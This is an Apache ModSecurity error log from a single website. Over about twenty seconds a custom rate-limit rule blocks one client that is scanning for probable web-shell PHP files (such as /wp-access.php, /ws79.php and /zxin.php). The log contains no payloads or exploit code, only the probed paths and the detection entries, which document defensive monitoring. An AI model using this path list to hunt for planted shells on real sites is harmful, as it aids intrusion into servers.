[Sun Mar 01 15:59:32.028261 2026] [:error] [pid 38034:tid 38057] [client 4.204.200.32:18137] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaPx5AxtfZjwlJok9K_LyAAAARM"]
[Sun Mar 01 15:59:32.443942 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18215] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaPx5PKRPk6YnJBxw_xeJgAAAME"]
[Sun Mar 01 15:59:32.869935 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18087] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaPx5AxtfZjwlJok9K_LzgAAAQI"]
[Sun Mar 01 15:59:33.281122 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18068] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaPx5QxtfZjwlJok9K_L0wAAAQ0"]
[Sun Mar 01 15:59:33.694408 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18093] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaPx5fKRPk6YnJBxw_xeKAAAAMQ"]
[Sun Mar 01 15:59:34.110792 2026] [:error] [pid 44644:tid 44659] [client 4.204.200.32:18266] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaPx5p3RJaXMcw3y9V-0AQAAAAw"]
[Sun Mar 01 15:59:34.519778 2026] [:error] [pid 38241:tid 38251] [client 4.204.200.32:18040] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaPx5vKRPk6YnJBxw_xeKwAAAMc"]
[Sun Mar 01 15:59:34.927706 2026] [:error] [pid 44644:tid 44669] [client 4.204.200.32:17991] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaPx5p3RJaXMcw3y9V-0BgAAABY"]
[Sun Mar 01 15:59:35.337277 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:18130] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaPx553RJaXMcw3y9V-0BwAAAAU"]
[Sun Mar 01 15:59:35.751260 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:17992] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaPx5wxtfZjwlJok9K_L2wAAAQI"]
[Sun Mar 01 15:59:36.176904 2026] [:error] [pid 44644:tid 44664] [client 4.204.200.32:17985] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaPx6J3RJaXMcw3y9V-0DAAAABE"]
[Sun Mar 01 15:59:36.592078 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18067] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaPx6PKRPk6YnJBxw_xeLQAAAMQ"]
[Sun Mar 01 15:59:37.007950 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18168] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaPx6fKRPk6YnJBxw_xeLgAAAMk"]
[Sun Mar 01 15:59:37.421018 2026] [:error] [pid 7165:tid 7174] [client 4.204.200.32:18074] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaPx6RRjCrA8qWBjgG82NQAAAkc"]
[Sun Mar 01 15:59:37.834088 2026] [:error] [pid 7165:tid 7172] [client 4.204.200.32:18069] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaPx6RRjCrA8qWBjgG82NgAAAkU"]
[Sun Mar 01 15:59:38.251810 2026] [:error] [pid 38034:tid 38054] [client 4.204.200.32:18041] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaPx6gxtfZjwlJok9K_L5wAAARA"]
[Sun Mar 01 15:59:38.672680 2026] [:error] [pid 42619:tid 42642] [client 4.204.200.32:17997] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaPx6h_zUXcYaZE4AOeWtgAAAVU"]
[Sun Mar 01 15:59:39.087810 2026] [:error] [pid 44644:tid 44650] [client 4.204.200.32:18052] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaPx653RJaXMcw3y9V-0FQAAAAM"]
[Sun Mar 01 15:59:39.512022 2026] [:error] [pid 44644:tid 44658] [client 4.204.200.32:17987] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaPx653RJaXMcw3y9V-0FwAAAAs"]
[Sun Mar 01 15:59:39.925671 2026] [:error] [pid 41967:tid 41982] [client 4.204.200.32:18227] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaPx64O1bqY181I02eGSFwAAAI0"]
[Sun Mar 01 15:59:40.341905 2026] [:error] [pid 44644:tid 44657] [client 4.204.200.32:18095] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaPx7J3RJaXMcw3y9V-0HQAAAAo"]
[Sun Mar 01 15:59:40.765442 2026] [:error] [pid 41780:tid 41794] [client 4.204.200.32:18104] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaPx7MONkVoocLIqzy0TYQAAA8s"]
[Sun Mar 01 15:59:41.174799 2026] [:error] [pid 41967:tid 41971] [client 4.204.200.32:18070] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaPx7YO1bqY181I02eGSGAAAAII"]
[Sun Mar 01 15:59:41.582606 2026] [:error] [pid 42619:tid 42624] [client 4.204.200.32:18172] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaPx7R_zUXcYaZE4AOeWugAAAUM"]
[Sun Mar 01 15:59:41.990812 2026] [:error] [pid 7165:tid 7187] [client 4.204.200.32:18051] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaPx7RRjCrA8qWBjgG82OgAAAlQ"]
[Sun Mar 01 15:59:42.400295 2026] [:error] [pid 44644:tid 44664] [client 4.204.200.32:18011] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaPx7p3RJaXMcw3y9V-0IwAAABE"]
[Sun Mar 01 15:59:42.841572 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18099] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaPx7vKRPk6YnJBxw_xeNQAAAMg"]
[Sun Mar 01 15:59:43.255759 2026] [:error] [pid 41967:tid 41972] [client 4.204.200.32:17935] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaPx74O1bqY181I02eGSIQAAAIM"]
[Sun Mar 01 15:59:43.675774 2026] [:error] [pid 42619:tid 42632] [client 4.204.200.32:18030] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaPx7x_zUXcYaZE4AOeWvQAAAUs"]
[Sun Mar 01 15:59:44.102707 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:17988] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPx8PKRPk6YnJBxw_xeNwAAAME"]
[Sun Mar 01 15:59:44.529786 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18065] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPx8PKRPk6YnJBxw_xeOQAAAMk"]
[Sun Mar 01 15:59:44.953168 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18038] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPx8PKRPk6YnJBxw_xeOwAAAMw"]
[Sun Mar 01 15:59:45.371316 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18035] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaPx8fKRPk6YnJBxw_xeQAAAAMw"]
[Sun Mar 01 15:59:45.788874 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18079] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaPx8fKRPk6YnJBxw_xeQgAAAMA"]
[Sun Mar 01 15:59:46.207946 2026] [:error] [pid 37032:tid 37039] [client 4.204.200.32:17941] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaPx8uu0U4o7eSImsVRPjwAAAYU"]
[Sun Mar 01 15:59:46.625687 2026] [:error] [pid 37032:tid 37035] [client 4.204.200.32:18084] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaPx8uu0U4o7eSImsVRPkQAAAYE"]
[Sun Mar 01 15:59:47.052304 2026] [:error] [pid 37032:tid 37047] [client 4.204.200.32:18002] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaPx8-u0U4o7eSImsVRPkwAAAY0"]
[Sun Mar 01 15:59:47.466181 2026] [:error] [pid 37032:tid 37058] [client 4.204.200.32:18083] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaPx8-u0U4o7eSImsVRPlAAAAZg"]
[Sun Mar 01 15:59:47.882863 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18204] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaPx8wxtfZjwlJok9K_L7AAAAQI"]
[Sun Mar 01 15:59:48.299176 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18105] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaPx9AxtfZjwlJok9K_L7wAAAQs"]
[Sun Mar 01 15:59:48.709817 2026] [:error] [pid 38034:tid 38036] [client 4.204.200.32:18131] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaPx9AxtfZjwlJok9K_L8AAAAQA"]
[Sun Mar 01 15:59:49.125461 2026] [:error] [pid 44644:tid 44660] [client 4.204.200.32:18009] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaPx9Z3RJaXMcw3y9V-0NwAAAA0"]
[Sun Mar 01 15:59:49.542406 2026] [:error] [pid 42619:tid 42639] [client 4.204.200.32:18110] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaPx9R_zUXcYaZE4AOeWwgAAAVI"]
[Sun Mar 01 15:59:49.964682 2026] [:error] [pid 42619:tid 42629] [client 4.204.200.32:18092] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaPx9R_zUXcYaZE4AOeWwwAAAUg"]
[Sun Mar 01 15:59:50.419303 2026] [:error] [pid 42619:tid 42628] [client 4.204.200.32:18165] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaPx9h_zUXcYaZE4AOeWxAAAAUc"]
[Sun Mar 01 15:59:50.834846 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18153] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaPx9vKRPk6YnJBxw_xeQwAAAME"]
[Sun Mar 01 15:59:51.245735 2026] [:error] [pid 37032:tid 37038] [client 4.204.200.32:18064] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaPx9-u0U4o7eSImsVRPmgAAAYQ"]
[Sun Mar 01 15:59:51.657425 2026] [:error] [pid 37032:tid 37048] [client 4.204.200.32:18132] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaPx9-u0U4o7eSImsVRPmwAAAY4"]
[Sun Mar 01 15:59:52.074065 2026] [:error] [pid 7165:tid 7182] [client 4.204.200.32:17989] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaPx-BRjCrA8qWBjgG82QAAAAk8"]
[Sun Mar 01 15:59:52.495357 2026] [:error] [pid 42619:tid 42642] [client 4.204.200.32:18063] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaPx-B_zUXcYaZE4AOeWxwAAAVU"]
[Sun Mar 01 15:59:52.929557 2026] [:error] [pid 37032:tid 37056] [client 4.204.200.32:17940] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaPx-Ou0U4o7eSImsVRPnQAAAZY"]
[Sun Mar 01 15:59:53.353337 2026] [:error] [pid 38034:tid 38054] [client 4.204.200.32:17920] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaPx-QxtfZjwlJok9K_L9AAAARA"]
[Sun Mar 01 15:59:53.771106 2026] [:error] [pid 38034:tid 38048] [client 4.204.200.32:18089] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaPx-QxtfZjwlJok9K_L9QAAAQo"]
[Sun Mar 01 15:59:54.180093 2026] [:error] [pid 41967:tid 41987] [client 4.204.200.32:18150] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaPx-oO1bqY181I02eGSIwAAAJI"]
[Sun Mar 01 15:59:54.594814 2026] [:error] [pid 41967:tid 41991] [client 4.204.200.32:18111] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaPx-oO1bqY181I02eGSJAAAAJY"]
[Sun Mar 01 15:59:55.005880 2026] [:error] [pid 7165:tid 7173] [client 4.204.200.32:18097] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaPx-xRjCrA8qWBjgG82QwAAAkY"]
